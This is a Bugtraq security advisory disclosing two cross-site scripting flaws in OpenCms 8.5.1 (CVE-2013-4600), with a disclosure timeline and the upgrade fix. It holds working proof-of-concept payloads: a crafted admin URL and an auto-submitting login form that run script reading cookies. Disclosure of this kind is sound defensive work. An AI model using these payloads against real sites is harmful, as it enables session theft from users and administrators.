bugtraq - XSS Vulnerabilities in OpenCms

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Message-Id: <20130717102835.151AC2C4B1E0@htbridge.ch>
Date: Wed, 17 Jul 2013 12:28:35 +0200 (CEST)
From: advisory@...ridge.com
To: bugtraq@...urityfocus.com
Subject: XSS Vulnerabilities in OpenCms

Advisory ID: HTB23160
Product: OpenCms
Vendor: Alkacon Software
Vulnerable Version(s): 8.5.1 and probably prior
Tested Version: 8.5.1
Vendor Notification: June 12, 2013 
Vendor Patch: July 10, 2013 
Public Disclosure: July 17, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4600
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered 2 XSS vulnerabilities in OpenCms, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application. 

1) Multiple Cross-Site Scripting (XSS) in OpenCms: CVE-2013-4600

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data in "title" HTTP GET parameter passed to "/opencms/opencms/system/workplace/views/admin/admin-main.jsp" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:

http://[host]/opencms/opencms/system/workplace/views/admin/admin-main.jsp?action=&dialogtype=publishproject&framename=body&title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data in "requestedResource" HTTP POST parameter passed to "/opencms/opencms/system/login/index.html" URL. A remote attacker can trick a logged-in user to open a specially crafted malicious webpage and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display user's cookies:

<form action="http://[host]/opencms/opencms/system/login/index.html" method="post" name="main">
<input type="hidden" name="login"  value="true">
<input type="hidden" name="ocPword"  value="1">
<input type="hidden" name="ocUname"  value="1">
<input type="hidden" name="requestedResource"  value='</script><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>

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Solution:

Upgrade to OpenCms 8.5.2

More Information:
http://www.opencms.org/en/news/130710-opencms-v852-releasenotes.html
https://github.com/alkacon/opencms-core/issues/173

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References:

[1] High-Tech Bridge Advisory HTB23160 - https://www.htbridge.com/advisory/HTB23160 - XSS vulnerabilities in OpenCms.
[2] OpenCms - http://www.opencms.org - OpenCms from Alkacon Software is a professional, easy to use website content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.